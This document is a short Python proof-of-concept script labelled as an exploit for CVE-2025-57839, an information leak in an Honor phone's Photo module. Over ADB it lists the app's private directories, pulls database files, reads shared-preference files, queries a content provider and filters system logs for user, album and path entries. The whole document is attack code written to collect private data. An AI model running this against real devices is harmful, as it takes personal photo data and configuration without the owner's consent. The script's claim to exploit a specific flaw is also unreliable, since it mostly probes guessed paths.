# CVE-2025-57839 - Honor Photo Module Information Leak PoC
# This PoC demonstrates local information disclosure from the Photo module
# Note: Requires local access to the target Honor device
import subprocess
import os
import sys
def exploit_photo_info_leak():
"""
Exploit information leak vulnerability in Honor Photo module.
Attempts to read sensitive data exposed by the Photo module
through improperly secured files or components.
"""
print("[*] CVE-2025-57839 - Photo Module Information Leak PoC")
print("[*] Targeting: Honor Photo Module")
# Step 1: Check device connection (requires ADB)
result = subprocess.run(["adb", "devices"], capture_output=True, text=True)
if "device" not in result.stdout:
print("[-] No ADB device connected. Local access required.")
sys.exit(1)
# Step 2: Attempt to access Photo module data directories
# The Photo module may store sensitive data in accessible locations
photo_data_paths = [
"/data/data/com.hihonor.photoviewer/",
"/data/data/com.hihonor.gallery/",
"/sdcard/Pictures/.thumbnails/",
"/data/media/0/Pictures/.thumbData/",
"/data/data/com.hihonor.photoviewer/databases/",
"/data/data/com.hihonor.photoviewer/cache/",
"/data/data/com.hihonor.photoviewer/shared_prefs/",
]
leaked_data = []
for path in photo_data_paths:
# Step 3: Attempt to list/read files in Photo module directories
cmd = ["adb", "shell", "ls", "-la", path]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0 and result.stdout.strip():
print(f"[+] Accessible path found: {path}")
leaked_data.append({"path": path, "content": result.stdout})
# Step 4: Attempt to read database files for photo metadata
db_cmd = ["adb", "shell", "find", path, "-name", "*.db", "-type", "f"]
db_result = subprocess.run(db_cmd, capture_output=True, text=True)
if db_result.stdout.strip():
print(f"[+] Database files found: {db_result.stdout}")
# Pull database files for analysis
for db_file in db_result.stdout.strip().split("\n"):
local_path = f"./leaked_{os.path.basename(db_file)}"
pull_cmd = ["adb", "pull", db_file, local_path]
subprocess.run(pull_cmd, capture_output=True)
print(f"[+] Pulled: {db_file} -> {local_path}")
# Step 5: Read shared preferences for configuration leaks
prefs_cmd = ["adb", "shell", "find", path, "-name", "*.xml", "-type", "f"]
prefs_result = subprocess.run(prefs_cmd, capture_output=True, text=True)
if prefs_result.stdout.strip():
for pref_file in prefs_result.stdout.strip().split("\n"):
cat_cmd = ["adb", "shell", "cat", pref_file]
cat_result = subprocess.run(cat_cmd, capture_output=True, text=True)
if cat_result.stdout.strip():
print(f"[+] Leaked config from {pref_file}:")
leaked_data.append({"file": pref_file, "content": cat_result.stdout})
# Step 6: Query Photo module Content Provider for exposed URIs
content_query_cmd = ["adb", "shell", "content", "query",
"--uri", "content://com.hihonor.photoviewer/media/"]
content_result = subprocess.run(content_query_cmd, capture_output=True, text=True)
if content_result.stdout.strip():
print("[+] Content Provider data leaked:")
print(content_result.stdout)
leaked_data.append({"source": "content_provider", "content": content_result.stdout})
# Step 7: Check logcat for sensitive Photo module logs
log_cmd = ["adb", "logcat", "-d", "-s", "PhotoViewer:*", "Gallery:*", "MediaProvider:*"]
log_result = subprocess.run(log_cmd, capture_output=True, text=True)
sensitive_logs = [line for line in log_result.stdout.split("\n")
if any(keyword in line.lower() for keyword in ["path", "uri", "user", "album", "photo"])]
if sensitive_logs:
print(f"[+] Found {len(sensitive_logs)} sensitive log entries")
leaked_data.append({"source": "logcat", "content": "\n".join(sensitive_logs[:50])})
# Summary
print(f"\n[*] Exploitation complete. Total data sources leaked: {len(leaked_data)}")
print("[*] This demonstrates the information leak vulnerability in Photo module.")
return leaked_data
if __name__ == "__main__":
exploit_photo_info_leak()